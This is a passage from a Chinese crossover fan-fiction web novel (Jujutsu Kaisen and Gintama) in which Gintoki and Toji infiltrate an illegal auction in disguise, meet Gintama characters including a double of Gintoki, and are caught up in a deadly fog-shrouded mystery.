科技观念比一般观众还要落后的总监部，此时也难免愣了神，接着，他们就看到原本一直端坐的宅十四，不知道从什么地方掏出好几个荧光棒，熟练地舞出一段彩色的残影。
他们低头想了想那张宣传单，恍然大悟。
这个什么虚拟偶像肯定有问题，必须好好查查。
演出出乎意料得成功，不光是因为虚拟偶像这个概念，更是因为对方不俗的唱歌功底。
宅十四仗着现在优秀的身体素质，奔走在散场的人群中，快速而又精准地发放着粉丝后援会的宣传单。
当场表示感兴趣加入后援会的，还能够得到宅十四这段时间精心准备的无料一份。
一旁观察的总监部也没能逃掉，每个人都被塞入了一份新的宣传单。
就在宅十四为自己偶像奋斗的时候，一个穿着西装的人走了过来。
“请问是夏油杰先生吗？”
宅十四看了眼对方这酷似辅助监督的穿着，皱着眉撇了撇嘴：“不会现在抓我回去干活吧？”
“不是的，是爱小姐想和您见见面。”
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自从虚拟偶像星野爱宣布出道之后，坂田银时就越来越难找到宅十四和土方十四郎的身影。
除了夜蛾正道的课，其他辅助监督上的文化课他也是能逃就逃。
主打一个在被暴揍的高危线上来回蹦迪。
坂田银时只好被迫单独做了几次咒灵祓除的任务，对术式的操控能力大幅度上升。
不过由于他常常借着做任务的机会，溜出去做些自己的事情，所以心中的不满也能暂时压制下来。
几天的时间转瞬即逝，伏黑甚尔和坂田银时经赶慢赶，终于在拍卖会开始前准备好了一切。
开始前一天，坂田银时写了张“甜食吃太多牙疼，去看牙医”的请假条，连夜翻进夜蛾正道的办公室里，放在了他的桌子上。
然后没等对方看到假条，直接熟练翻墙开溜。
碰面的地点还是之前的那个黑市，虽然这个地点已经暴露了，但好在这里鱼龙混杂，就算被包围了，也能想办法溜走。
身为在诅咒师这一块的资深专家，伏黑甚尔摆出前辈的架子，上下打量了一下坂田银时：“你不会想直接这样就进去吧？暗网上你的悬赏照片可是一直在换的。”
“小瞧谁呢。”虽然在诅咒师这一行是新手，但是在换装领域，坂田银时自认为是大拿，“等着。”
他拎着鼓鼓囊囊的背包，大步迈进孔时雨被迫自愿贡献出的房间，开始自己的变装。
就在伏黑甚尔开始等得不耐烦的时候，房间的门被暴力推开，一个一米八几的大高个，穿着裙子走了出来。
因为五条悟的头发不够长，原本坂田银时想扎的双马尾变成了两个小揪揪，还用粉色的蝴蝶结装饰了一下。
而那张脸他也没放过，大紫色的厚重眼影，深得像是被打了一拳的腮红，再加上那大红色的口红。
美不美观先不说，至少视觉冲击力是非常足够的。
对面前两人的沉默毫无知觉，坂田银时对自己的打扮非常满意，甚至单手叉腰凹了一个造型，噘着嘴飞了个吻。
“你好，我叫卷子~”
伏黑甚尔和孔时雨双双后退一大步，第一次知道，原来穿着打扮也是可以对人造成实体伤害的。
这看起来就不像是赞美的表现，让坂田银时十分不满：“干什么啊这是，银桑我这套装扮在人妖店可是相当受欢迎的！”
孔时雨瞳孔地震，人妖店？刚刚说的是人妖店吧？
他恨不得挖掉自己的耳朵，并不是很想知道这些，他还想活久一点。
相比于唯唯诺诺的孔时雨，回过神的伏黑甚尔表现得更直白，他直接嫌弃地看过去：“我们是去拍卖会，不是去马戏团，你也不用上台表演。”
“说谁是小丑呢！”
孔时雨一脸纠结，和伏黑甚尔说悄悄话：“这样不行的吧？会在门口就被拦下来的吧？这也太可疑了点。”
伏黑甚尔托着下巴思考了会，觉得女装这个方案也不是不行，毕竟越不像正常人会做的事情，才越不容易被察觉。
他扬了扬下巴：“小鬼，你化妆的东西在哪？”
化妆品是从家入硝子那边借的。
虽然想不到坂田银时会用来做什么，但联想到这段时间发生的事情，家入硝子觉得肯定会有好戏看，所以二话不说就借了出去。
答应借的条件，是她想看看化妆品用在什么地方。
此时，刚刚结束一场精密的手术，家入硝子瘫坐在椅子上，深深地叹了口气，想要将体内的疲惫叹出。
一旁的手机响起一声清脆的铃声，显示着坂田银时来信。
她看了一眼，伸手拿起，点开这封带着图片的短信，然后瞪大了双眼，脸下意识凑近了屏幕。
照片上是一位穿着礼服的女性，她肩上披着薄薄的披肩，流苏坠在白皙的胳膊上，双手戴着镂空的蕾丝手套。
柔顺又光滑的白色长发，整齐地盘在脑后，大大的帽檐下，一双蓝色的眼睛若隐若现。
高超的化妆技术，将原本就极为优秀的面容修饰得更加柔和，使那眉眼少去了几分锋利，多了一些圆润。
什么多余的动作都没有，只是脸上噙着笑站在那，就已经足够吸引人的目光。
神秘而又优雅，优雅中又带着恰到好处的俏皮。
但不管照片里的人再怎么美丽，眼光老辣的家入硝子也能认出来，这就是自己同期的脸。
果然对方总是能默不作声地给自己整个大活。
她忍不住扬起了嘴角，身体上的疲惫仿佛也随着内心的放松缓解了一些。
回给对方一个赞，她顺手保存了这张照片。
等那两个人回来之后，让他们也好好欣
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赏欣赏，到时候他们的反应一定很有意思。
合上手机，家入硝子推开门，看着外面熟悉的风景，点燃一根烟。
不过最近耳边清净的时间，似乎有点久了。
另一边，收到家入硝子点赞的坂田银时更得意了，他对着巴掌大的小镜子，全方位地欣赏着脸。
只要他一动起来，什么优雅，什么神秘，通通都消失不见。
孔时雨欲言又止，最后默默抽了根烟。
原来气质对于一个人的外貌来说，影响竟然这么大。
第二天，整装待发的两人坐进不知道从哪搞来的轿车中，由孔时雨友情出演司机，将两人送到场地。
伏黑甚尔率先下车，走到坂田银时这一侧，替对方拉开车门。
这次他的剧本是陪富婆出来凑热闹的小白脸，虽然看着那张脸还是忍不住火大，但是为了日后的金钱，伏黑甚尔可以忍辱负重。
坂田银时从车中先探出一条腿，然后微微弯腰，扶着帽檐小心地下了车。
到脚踝的长礼裙遮住了他覆着肌肉的双腿，披肩则是遮住了他胳膊上的肌肉，手套将过于男性化的双手掩盖住，最后大大的帽子将那双洞察一切的眼睛藏于暗处。
只可惜坂田银时想要试试的高跟鞋，被伏黑甚尔一票否决了，理由是这个身高已经够显眼了。
但坂田银时觉得，对方不同意的真实理由，其实是如果穿上高跟鞋的话，伏黑甚尔就需要一直仰着头和自己说话，这样会显得他很没面子。
“话说，为什么我要涂那么多粉，你就只要换件衣服？”
伏黑甚尔嗤笑一声，开始阴阳怪气：“谁叫你的名气那么大呢。”
接着他没有给坂田银时呛回来的机会，直接伸出胳膊，想要像往常对待富婆们一样，挽着手走路。
两人胳膊刚一碰到，就双双起了一层鸡皮疙瘩。
他们对视了一眼，在对方的眼中看到如出一辙的嫌弃之情。
但伏黑甚尔觉得自己都忍了这么多了，也不差这一回，于是他拿出相当过硬的职业素质，朝着后退的坂田银时猛地甩手。
他逃他追，他坚持不懈，他决不放弃。
两人后面甚至偷摸用上了点体术，互不相让，最后以旁人眼中和两人三足同款的姿势，追逐到了门口。
站在门口负责检查邀请函和迎宾的工作人员，看着满头大汗的两位，微笑的嘴角有一瞬间的僵硬。
“麻烦两位出示邀请函。”
坂田银时朝边上甩了甩眼色，伏黑甚尔满脸不爽地掏出邀请函。
“邀请函核对无误，两位请进。”
意外于审核的宽松，坂田银时疑惑地看向伏黑甚尔。
“有恃无恐呗。”伏黑甚尔见怪不怪，“毕竟背后可是有靠山的，想闹事的人得先掂量掂量。”
闯过大厅，面前的庭院中已经聚集了不少人，他们像参加普通的贵族聚会一样，端着酒杯，三三两两的畅谈着。
那轻松的神情，看起来根本不像是参加非法拍卖会。
买卖的也不是人口，而是物件。
坂田银时帽檐下的眼神凝重了几分，闪过一瞬不易察觉的愤怒。
“两位客人是刚到吗？”
清脆的女声打断了坂田银时的思路，他顺着声音转头，却没看到人影，只听到不断咀嚼的声音。
他眨了眨眼睛，慢慢放低视线，首先看到的，是一个扎着两个丸子头的橘红色脑袋。
再往下看，那刘海下的是双湛蓝色的眼睛，白皙的脸颊鼓起，里面塞满了食物。
“神，神乐！？”
43.第四十三章
伏黑甚尔侧目看去，手肘在暗处用力捣了下坂田银时的肋骨作为提示。
之前他就特意交代过，让坂田银时不要说话，再怎么高明的化妆技术，在他那磁性低沉的声线下，都显得毫无意义。
而坂田银时冷不丁被肘，整个人更大声地叫唤了一下，反而引起了周围人的注意。
伏黑甚尔：“… …”
他开始后悔了，甚至开始思考是不是自己不应该和坂田银时合作。
好在周围人没看出什么，没一会就收回了好奇的目光，继续着各自的社交活动。
“这位客人认识我？”
疑似神乐，或者说怎么看都是神乐的这个人，没有产生“为什么面前的姐姐声音这么粗犷”之类的疑惑，她抹了抹自己的嘴角，打了个饱嗝。
不方便开口的坂田银时用力朝伏黑甚尔肘了回去，调动所有的面部肌肉，用眼神示意着。
却换来对方迷茫的死鱼眼回视。
没救了，他俩这默契。
坂田银时嫌弃地将视线收回，把手伸进后背，在里面掏出一部不久前刚买的新手机。
家入硝子送的那部他也在用，也很信任地没有拆掉里面的定位装置，但这次的事情和平时不一样，涉及到总监部。
坂田银时觉得应该尽量避免将家入硝子扯进来，于是压榨孔时雨，让对方给自己先买一个，答应以后再还钱。
至于“以后”是多久，那还得看以后。
他打开手机，在上面熟练地单手打字，然后举到神乐面前。
【你在这里做什么？】
“我在这里做服务员阿鲁！负责给参加的客人送吃的。虽然主办方很抠门，给的委托金不多，但是吃的还是很好吃的，你可以尝尝阿鲁。”
说着她将手里的托盘举到坂田银时面前，掀开铁制的半圆盖子，但是只看到盘子上空空如也。
还没等坂田银时询问，神乐反而先难以置信地大喊起来。
“点心呢！我的点心呢！可恶啊！谁拿走了我的点心阿鲁！”
坂田银时看着神乐嘴边的碎屑，面无表情地打字：【不是已经被你自己吃光了吗？】
“啊嘞，啊嘞嘞，你打的什么字啊，我是外国人，看不懂阿鲁。”
【不要这个时候把外国人的身份摆出来当借口啊混蛋！】
伏黑甚尔看着两人一来一回的对呛，总有种两个坂田银时围着他吵闹的心累感，他眉间跳了跳，压下心头这不祥的感觉。
而且看起来两人很明显是熟人的样子，他疑惑地看了看坂田银时。
他事先也没听说过啊，既然在拍卖会插人手这么简单，那他们还费那么大劲偷偷摸摸混进来干嘛。
“你们认识？”
坂田银时张了张嘴，既不想否认，也不好承认，犹豫着不知道该怎么说，就听到神乐毫不犹豫地否定了。
“不认识阿鲁。”
一口气堵在胸口，让坂田银时有些憋屈，好在理智拉住了他，不管怎么样，还是先向系统询问现在是什么情况。
毕竟在刚来这个世界的时候，哥布林大叔那边就已经说过了，时空穿梭用的机器已经没了，所以他和土方十四郎才被迫扮演五条悟和夏油杰，等待着他们把原主找回来。
那现在的神乐为什么会在这里？是谁假扮的？还是哥布林大叔那边出了什么事？
他像往常一样呼唤着系统，但耳边却没有响起那机械的ai声，等了半天也只听到周围的喧闹。
虽然平时这个小ai就不怎么有用，但是这还是第一次没有回应他。
坂田银时定了定神，眼神一凛，看来和他猜想的最坏情况一样，这个地方就是专门针对他而设计的。
想明白之后，他反而不慌张了，既然对方出手了，那他就见招拆招，顺便将那个家伙从暗处一把拽出来。
他微微弯下身子，眼睛凑近神乐，盯着她脸上的每一分肌肉的变化，压低声音：“其实，我是坂田银时。”
“你是银酱？”神乐眨了眨眼睛，指向坂田银时的背后，“那他是谁阿鲁？”
坂田银时一愣，转身看去。
从他们这里看过去，坂田银时只能看着一团白色毛绒脑袋，在食物堆里拱着。
仔细看去，那人穿着和眼前这个神乐同款的制服，若隐若现的身形十分眼熟，很显然，那人也在玩忽职守，专心埋头在一堆食物里大快朵颐。
他顶着头银白色卷发，此刻察觉到目光，抽了空抬头。
那双猩红色的死鱼眼直直看来，在看清注视自己的人之后，动作停顿了一瞬间，然后再次低头，将自己埋进食物堆里，加快了进食的速度。
坂田银时僵在了原地，面上一片灰白，整个人仿佛都褪了色，只有浓郁的黑色在他的眼中酝酿。
好半晌，才在喉咙里挤出一个音节：“哈？”
什么情况？难道在他在咒回世界胡作非为的时候，有混蛋假扮成他的样子鸠占鹊巢了吗？
像那样穿着他的衣服，住着他的房间，吃着他放在冰箱没舍得吃的布丁？！
过于激烈的情绪，使得那庞大的咒力在一瞬间爆发出来，惊得伏黑甚尔往旁边挪了挪。
他惊疑不定地看过去，再转头确认了下那边偷吃的服务员，那确实是不认识的人。
“你们有什么过节吗？算了，我不感兴趣。快把你咒力控制一下，我不想刚进来就暴露。”
伏黑甚尔的声音让坂田银时回过神，他深吸口气，平复了下心情，外露的咒力一瞬间收了回去。
他用力抹了把脸：“放心，我做事很有分寸的。”
说完，他从边上的桌子上拿起一瓶葡萄酒，迈着豪迈的步伐走到那个冒牌货面前。
“服务员！帮我开个酒啊！”
然后0帧起手，将酒瓶用力砸在那人的脑袋上。
猝不及防的一击，结结实实地打在那人头上，直接把那人打趴在了桌上。
紫红色的酒水顺着瓶子碎掉的玻璃片一起四溅，一大半糊在了那个突然冒出来的坂田银时头上，剩下的一些酒水溅在坂田银时的脸上，从远处乍一看，还以为是什么凶杀现场。
不过就那个击打力道来说，很难不怀疑这确实在行凶。
场面顿时安静了下来，众多目光聚集在这里，但在场的到底都是见惯腥风血雨的人物，比起害怕，他们更多的是抱着看戏的心态。
伏黑甚尔额头青筋直突突，难以控制住自己面部表情的狰狞。
这就是他刚刚说的做事有分寸？不会是口误把寸拳说错成分寸了吧？
“NO！银酱！”
旁边的神乐大喊着冲了过去，抓住【坂田银时】的肩膀，把他翻了个面。
只见对方翻着白眼，微张着嘴，嘴边还有食物碎渣残留，光见呼吸却不见动弹，显然是已经陷入昏迷。
“NO！从小妈妈就告诉过你，越漂亮的女人越不能得罪，你都忘了吗？史密斯！”
坂田银时丝毫不在意周围打量的目光，左右环顾了一下，再次拿起桌上的空酒杯，想要来个追加攻击。
神乐转身面向坂田银时，用力张开双臂，护在【坂田银时】身前。
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“不！不要！不要带走我的孩子！要索命就索我的命，别索我儿子的命阿鲁！”
坂田银时愤怒的脑壳卡了一下：“… …等等，小姐，你是不是看电视剧看得太杂了？台词都混在一起了我说。”
神乐十分入戏地没有回答，反而转身单手抓着【坂田银时】的前襟，把他轻松拎起，另一只手不断扇着对方的脸颊，企图用这种方式唤醒他：“你醒醒啊，约翰，你睁开眼看看我啊！妈咪就在这里，再也不会拦着你去做失败的man了！”
看着面前这痛击友军的残暴一幕，坂田银时沉默了，只觉得自己的脸颊好像也开始疼了起来。
“等等！你在干什么啊神乐！”
在这痛击我方友军的混乱中，一个让人安心的声音响起，他是万事屋的灵魂人物，长相普通但吐槽精准，是个可悲的重度追星族但吐槽精准，短短十几年的生命里从来没受过异性欢迎但吐槽精准，他就是志村新八，虽然志村不是志村秀哉的志村，但八却是实实在在的人气排行榜第八的八（童贞）！
“最后括号里的东西是不是太多余了！还有你这么长一段的介绍里几乎全是贬低我的内容啊！能夸的点只有吐槽了吗？！虽然二次元里我长相普通，但在三次元里我可是菅田将晖！”
伏黑甚尔转头看了看周围，没有发现说话的人，正疑惑着，良好的视力让他看清远处奇怪的画面。
只见顺着铺好红色绒布的餐桌，一副眼镜框蹦蹦跳跳地从远处跑了过来，最后停在不远处。
似乎为了配合它服务员的身份，普通的眼镜框鼻托处，贴着一个红色蝴蝶结。
但再怎么怪异的打扮，都没有它能开口说话带来的冲击力大。
饶是见惯咒术界各种奇怪画面的伏黑甚尔，此时也免不了一阵沉默。
“阿八，你快看看塞巴斯蒂安，他醒不过来了阿鲁。”
“… …你用这种方式叫醒他，肯定只会越睡越香啊。”
志村新八“嘿咻”一声，精准地落在【坂田银时】的鼻梁上。
“银桑，快醒醒，不能睡在这个地方啊。”
“你们才是快醒醒，我才是坂田银时啊！”坂田银时一把薅起眼镜，抓着两只眼镜腿上下摆动着，眼镜不断发出“喂喂喂！啊啊啊！”的惨叫。
伏黑甚尔神情恍惚地看着这片混乱，心里下意识想着。
这眼镜腿是什么发声按钮吗？按一下就能听到惨叫的那种。
意识到自己竟然在内心吐槽，他一甩胳膊，用手拍在自己脸上，唤回自己的思维。
自己这难道要被同化了吗？不行，他绝对不要变成那种样子。
原本想上前的脚步顿住了，他想了想还是正事要紧，趁着现在没人注意，自己先去看看放置拍卖品的仓库。
“先生，要来点小蛋糕吗？”
同样的服务员制服，同样的端着盘子，但不同的是盘子上还有食物。
伏黑甚尔看着面前的黑泽法子，想起来还有这么个人。
“不了，我有事。”
“尝一个吧，很美味的。”黑泽法子再次靠近，接着夹蛋糕的动作，小声说出一个方位。
伏黑甚尔有些意外，没想到那个被绑架时，缩在角落里瑟瑟发抖的人，竟然还有这种胆量。
抬眸的不经意间，他和黑泽法子对上眼，在里面看到熟悉的神情。
那是属于亡命之徒的疯狂。
伏黑甚尔一愣，只觉得不太对劲：“你… …”
在这片还算和谐的场景下，突然有缕缕雾气升起，以异常的速度遮蔽了整个现场。
44.第四十四章
坂田银时和伏黑甚尔同时警惕起来，不确定是不是自己暴露了，一时间也不敢轻举妄动。
而周围一开始看热闹的人们，看着雾气久久不散，甚至有越来越浓的趋势，陆续察觉出不对劲，怒骂和质问混在一起，场面一时间混乱不已。
突然，天空凭空出现一个巨大显示屏，在一阵雪花屏之后，浮现出一行字。
【请各位单独进入房间内，并且在钟声响起之前入睡，否则将要接受惩罚。】
这怪异的景象，和屏幕上显示出的没头没尾的一句话，让所有人都陷入不安中。
“这，这是主办方准备的惊喜吧？”
有人心存侥幸。
“开什么玩笑！我花高价买邀请函不是为了看你们搞这种闹剧的！”
有人不屑一顾。
“谁要陪你们玩这种过家家，我的时间很宝贵的，你知道每耽误一秒，我就要损失多少利益吗？”
有人嗜钱如命。
大家或不安，或乐观，或气愤的话语垒在一起，让庭院中一时间嘈杂不已。
等了一会，也没有见主办方出来解释，有些人便开始不耐烦，不管三七二十一，径直朝着大门的方向走去。
事情变得麻烦起来，伏黑甚尔感到不悦，他转头问最先来的黑泽法子：“你知道这是什么情况吗？”
没想到伏黑甚尔会问自己，黑泽法子先是愣了一下，然后也一脸茫然地摇了摇头。
“我知道阿鲁！”
注意到这段对话，旁边的神乐自告奋勇地举起手，激动地像是在课堂上抢答的小学生。
“我在电视上看到过，一眼看不到头的迷雾，神秘的庄园，一问都不熟，一查都有仇的各位来客，没错阿鲁！这里肯定就是完美的作案现场，马上就要上演一出经典的木头框子剧情阿鲁。”
志村新八的镜框朝神乐歪了歪：“… …木头框子是什么？你不是想说‘本格’吧？”
大家三三两两地聚集在一起，没有多少人按照屏幕上说的做。
虽然其中大部分，都是没有术式也看不到咒灵的普通人，但大家和咒术界打交道的年份也不算短，知道这拍卖会背靠总监部，怎么想都不可能有人敢在这里闹事。
所以尽管面上还是忍不住有些害怕，但其实都没怎么当回事。
直到一声尖叫打破了现场还算缓和的气氛。
原本嘈杂的庭院瞬间安静，人们下意识地后退，眼睛看向声音传来的方向——入口处的大门。
那里刚刚有几个人走向那边，想要无视屏幕擅自离开。
门口方向，已经隐隐能够遮住视线的雾气被搅动，在空气中舞动出一道道弧度。
弧度的背后，是一个将要消逝的生命，做出的最后的挣扎。
“救，救救我！我不想死！”
人们首先看到的是跌跌撞撞跑来的人影，接着是手、身体，最后是脸。
那双手失去了几根手指，每在空中挥舞一次，都会将血珠撒开混在雾气中。
顺着胳膊向上，那套原本价格不菲的礼服破破烂烂，露出衣服下的已经糜烂的肌肉，不断朝外面渗的红色，快速将礼服染红。
再向上看去，那张脸已经看不出原本的样貌，皮肤带着里面的肌肉，像是夏天融化的冰淇淋一样，顺着重力一点点滴落在地面，露出里面的森森白骨。
失去周围肌肉的支撑，眼珠也开始随着那人的走动摇摇欲坠。
他张着露出了牙龈的嘴，喉咙里发出沙哑的“嗬嗬”声，最后倒在地上，失去了呼吸。
鼻息间隐约闻到血液的铁锈味，场上的所有人，脸上都是一致的苍白。
有人回过神，又一声尖叫响起，唤回所有人的意识。
大家再也不能无视屏幕上的话，没有人能够承担“惩罚”。
他们四散开来，朝着会场内设置的房间奔跑，推搡着，拥挤着，全然没有平日里的优雅和淡然。
“啊啊啊！出现了出现了！死人真的出现了！”坂田银时手里的志村新八颤抖着，激动的样子仿佛开了震动模式，“难道真的被小神乐说中了？那接下来不应该是我们集体努力找出凶手吗？这样子看起来更像是凶手要继续什么连环杀人啊！”
“嗯哼！快叫我福尔摩乐阿鲁。”
“说中这种东西根本没有什么值得自豪的吧！不要啊！我才不要被卷入这么麻烦的事情里啊！”
和什么都不知道，只知道瞎猜的志村新八和神乐不同，坂田银时他们有不同的猜想。
伏黑甚尔走近尸体，蹲了下来，凑近检查了一下。
“怎么样？是什么人的术式？”坂田银时将志村新八戴在神乐头上，跟着蹲在边上，“还是说，这是什么咒灵的生得领域？”
“你看不出来吗？”
“看不出来，我看不到这层雾的后面，也没感受到周围有咒力，所以我怀疑这很可能不是咒术界的人搞出来的。”
伏黑甚尔嗤笑一声：“除了咒术师和诅咒师，谁还有什么力量能整出这么大排场？”
雾气相较于之前又浓厚了几分，就算是离伏黑甚尔这么近，仅凭肉眼也不容易看到对方。
但这对于伏黑甚尔来说，反而算是个更好的作战环境，而轻举妄动只会让他落入下风。
“没什么头绪，暂时先按照给的提示做吧？”
伏黑甚尔同样也是这么想的，但现在离刚出现屏幕提示已经过去有一会了，恐怕已经没有什么空房留给他们了。
“没关系，直接挑几个房间进去，把里面的人杀了就行。”
坂田银时无视掉伏黑甚尔法外狂徒的发言：“法子，你还记得有哪些比较隐蔽的房间吗？我们去碰碰运气。”
从刚才开始就眺望远方，看着像是发呆的黑泽法子堪堪回过神。
坂田银时觉得对方应该是被当前的场景吓到了，于是站起身，走过去挡在她视线的方向。
虽然现在因为雾气已经看不到尸体了，但是视线里出现别的事物，多少能让她从情绪中抽离出来。
果不其然，黑泽法子脸色好了一些，她慢一拍地想了想：“有的，后面有提供给员工的房间。”
“神乐，新八你们也一起。”
“好嘞！”神乐头戴志村新八，双手抓住【坂田银时】的腰，轻松将对方扛在肩上。
伏黑甚尔忍不住多看了几眼，最后什么也没说，收回了目光。
一行人在雾气中勉强辨认着方向，来到了后面的员工住所。
他们顺着走廊，一扇扇门敲了过去，很不巧，都已经有人入住。<
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眼看着时间越发紧迫，伏黑甚尔摩拳擦掌想要一拳轰开房门，被坂田银时艰难拦下。
为了解决现在的危机，他的大脑急速运转，竟然真让他想到了一个主意：“我想到一个办法！”
顶着众人“别卖关子快说”的目光，他说道：“屏幕上说的是房间，又没说是卧室。”
“有道理阿鲁！”神乐眼睛一亮，“那厨房就归我了阿鲁，你们不要和我抢！”
她头上的眼镜新八微微低头：“很显然这是盯上了里面的吃的吧？那我们怎么办？附近还有房间吗？话说我现在的状态到底算不算一个人？”
“哼哼，这时候就要靠我这个无敌美少女的智慧了，看我的阿鲁！”
“真的没问题吗？我现在一点都不放心啊，不如说我更担心了。”
两人加一眼镜吵吵闹闹的离开，留下相顾无言的三人。
黑泽法子顺着刚刚的思路，找到了一间不算大的清洁房，里面放着一些打扫用的器具，因为只在拍卖会期间使用，整体看起来还算干净。
“你就待在这里吧。”
黑泽法子瞥了眼脸色越来越不好的伏黑甚尔，有些犹豫：“真的可以吗？”
“有什么不可以的，反正房间还多着。”
将对方安置好之后，最后只剩下伏黑甚尔和坂田银时。
伏黑甚尔双手抱胸：“你倒是说说还有什么房间？”
“跟我来就知道了。”
于是伏黑甚尔只好先按下心里的不爽，跟着坂田银时往回走，最后停在一个房间门口。
如果这个房间门口没有厕所的标识的话，那确实还算是个好地方。
一些不好的回忆涌上心头。
“这就是你说的房间？”
“嘛嘛，都这个时候了，就不要挑三拣四了。”
伏黑甚尔额头青筋暴起，很想原地开打，撂挑子不干了，但是理智还是让他冷静了下来。
他冷冷地看了眼坂田银时，然后满脸嫌弃地抬脚走了进去。
伏黑甚尔：“... ...”
“诶呀，没想到这里的厕所建得也那么豪华，虽然比不上上次的就是了。”
“喂，你为什么要进来？”
“嗯？伏黑同学，思维要打开啊，打开。”坂田银时走到一个隔间处，“你看这不光有门，四周还是封闭的，这怎么不算是房间的一种呢。”
他回头，右手比赞伸出舌头舔在嘴角，wink了一下，完美复刻了一下不二家同款的表情。
可惜伏黑甚尔并不买账，他气势汹汹地走过去，抬手就想拽住坂田银时，然后把他给丢出去。
两人在厕所里拉扯起来，昨日光景仿佛再次上线。
眼看着两人的争斗陷入胶着，窗外的屏幕突然响起刺耳的铃声。
随着两声关门声，刚刚还在争斗的两人默契地躲在隔间内。
没时间入睡，伏黑甚尔直接给自己来了一下，效果拔群，瞬间陷入昏迷。
坂田银时听到隔壁的动静，咬咬牙，也想跟着来一下，但是没下得去手。
于是转而开始超负荷使用六眼和运转术式，最后成功“入睡”。
准备时间结束，已经伸手不见五指的雾气中，出现一双双泛着红光的眼睛。
45.第四十五章
意识在一片混沌之中胶着，仿佛身处漩涡的中心，被其中的吸力向下拉扯。
生存的本能让人想要向上挣扎着伸出双手，却最终臣服于越发浓郁的黑暗中，只能任由眼前的光亮离自己远去。
坂田银时坐在马桶上，头靠着隔板，突然浑身打了一个机灵，额头不小心重重地磕在木板上，发出的沉闷声响在厕所里回荡。
疼痛让他瞬间清醒，睁开的眼神里一片清明。
坐在小小的隔间里环顾了一下，没有发现周围的环境有什么异常，然后趴在地上，透过门缝观察了下外面的情况。
接着便壮着胆子趴在门上，耳朵贴着门板，最后再听听外面有没有什么奇怪的声音。
过了一会，奇怪的声音没听见，倒是听见隔壁的伏黑甚尔醒了。
和小心谨慎的坂田银时不同，艺高人胆大的伏黑甚尔扭了扭脖子，直接打开隔间走了出去，然后一把抓住坂田银时所在隔间的锁，轻轻一拉，拆下了整个门板，顺带倒下来一个偷听的坂田银时。
“一大早闯进别人家还拆房是不是有点不太礼貌？！”
伏黑甚尔像拎小鸡一样拽起坂田银时，他还没忘记入睡之前被戏耍，新仇加旧仇：“之前的账都还没算，走，先和我打一架。”
“不要！”
坂田银时发出一声堪比jk的尖叫，发现自己挣扎无果之后，干脆十分无赖地躺倒在地：“你这个无情的男人，就知道在外面花天酒地，你以为你赌博的钱是谁赚的？家务是谁做的？孩子是谁奶的？心情不好还要打我出气，这日子，没法过了！”
这随地大小演的行为看得伏黑甚尔一阵牙疼，他伸手拽住坂田银时的领口，想要将其拉起来，却低估了自己的手劲，也高估了衣服的质量。
“撕拉”一声，看起来高昂的礼服在胸口被撕开一个大口，从里面弹出硅胶片，擦着伏黑甚尔的脸颊掉在地上，发出不大不小的“啪嗒”一声。
一时间，两人都愣在了原地。
好巧不巧，这尴尬的一幕被别人捕捉到，门外响起的拍照声，引起了两人的注意。
“啊。”黑泽法子看着看过来的两位，捂了捂嘴，眼神十分刻意地到处乱瞟。
她将手机藏到自己的背后：“抱歉，我没想到两位竟然是这种关系，一时间没有忍住。”
伏黑甚尔一听这话，脸色瞬间臭了起来，立马嫌弃地撒开手，大步朝着门口走去，想要离开这个是非之地。
计谋得逞的坂田银时再接再厉，侧着身体坐在地上，一手掩住胸口，一手捂住自己的嘴，开始假哭：“嘤。”
尽职尽责的扮演一个被渣男辜负的家庭主妇。
“好了好了，五条先生。杀手先生已经走了。”黑泽法子走了过来，捡起地上掉落的披肩... ...和假胸，不好意思地咳嗽了一声，然后递了过去。
想要辣眼的观众离席，坂田银时自然也没有再演下去的兴致，他面不改色的接过东西道了谢，站起身拍了拍衣服，很自然的转移了话题。
“外面现在什么情况？”
“还不是很清楚，我醒过来之后，听到你们这里有声音，就直接过来了。”
“那先和神乐他们会合吧。”
两人走出厕所，朝着厨房的方向前进。
一路上看到的人不是很多，大家都畏惧于外面的未知，比起探索，更愿意呆在暂时安全的房间中。
很多人都想着，大不了拖一段时间，这么多人失踪的时间长了，外界自然会察觉到不对劲，然后派人前来搭救他们，现在没必要自己冒险。
路过庭院中的屏幕，坂田银时抬头看了眼，上面现在漆黑一片，没有显示任何字。
在不知道对方下一步要怎么做的时候，一味地做埋头的鸵鸟，恐怕不是什么好选择。
有了黑泽法子的带路，他们丝毫没有绕路，很快就找到了厨房。
按照一般的流程，在拍卖会结束之后会请全体嘉宾共享一顿晚餐，所以厨房内的食材还是相当丰盛的。
不过那也只是在神乐没有进来之前的事了。
“这，这厨房是遭到抢劫了吗？”
一堆盘子中，听到声音的神乐探出头，她脸颊上沾着的食物残渣比第一次见面又多了很多。
不用想也知道，现场的惨状都是出自她之手。
神乐忙里偷闲地打了打招呼，就继续开始清盘行动。
现在情况有变，别说身份暴露的后果了，有没有命能活着出去都另说，所以坂田银时也就不打算隐藏身份，穿着女装也照常说话。
“孩子正在成长发育阶段，多吃点也很正常。”
看到神乐没事，坂田银时便放下了心，鼻尖闻着食物的味道，眼睛看着吃得正香的神乐，自己嘴也忍不住开始馋起来。
他环顾了一圈厨房，选择径直走向冰箱。
“发育期... ...再怎么说，这么短的时间内，把一顿晚宴，供给几十上百人吃的餐量吃完，都不太正常吧！”
“有吗？”神乐灌下一大口橙汁，咽下嘴里的食物，“在我家这很正常阿鲁，妈咪就经常说，胃口越大的女孩子，越招人喜欢阿鲁。”
“是、是这样的吗？”
“真的阿鲁！”
神乐跳下椅子，端来一盘直径有三十厘米的炒饭：“你长得这么瘦，一看就是没好好吃饭，这可不行阿鲁，女孩子不是只有过分的瘦才好看的。”
黑泽法子接过满满当当的炒饭，心里感觉暖洋洋的，嘴上却说着相反的拒绝：“谢谢你，但是我吃不下这么多。”
“怎么可能，人的胃可是有弹性的！肯定装得下，不试试怎么知道。”
就在两人拉扯着这一盘炒饭的时候，独自觅食的坂田银时打开了冰箱，想要看看里面有没有自己最关心的甜点。
刚一打开门，迎面一个人从里面直挺挺地倒了下来，砸在坂田银时身上。
再一摸，这人竟然是冰的。
“呀啊啊啊啊！”
他立马甩手，将人摔倒在地，发出硬邦邦的响声。
到处乱晃，没能发现什么的伏黑甚尔，被这真情实感的叫声吸引来。
他看了看地上的冻人，再抬眼看了看脸上失去颜色的坂田银时，嗤笑了一声。
然后走过去拿走被不断推来推去的炒饭，配着面前的画面，吃了一大勺。
好像比平时吃的要香上不少。
对于坂田银时来说，看到自己的脸被冻的惨白，直挺挺、冷冰冰地撞进自己的怀里，这惊吓程度不是简单的一加一等于二，而是二的N次方。
他惊魂未定，大喊着：“是谁！是谁谋杀了我... ...不是，谋杀了他！”
“是我。”
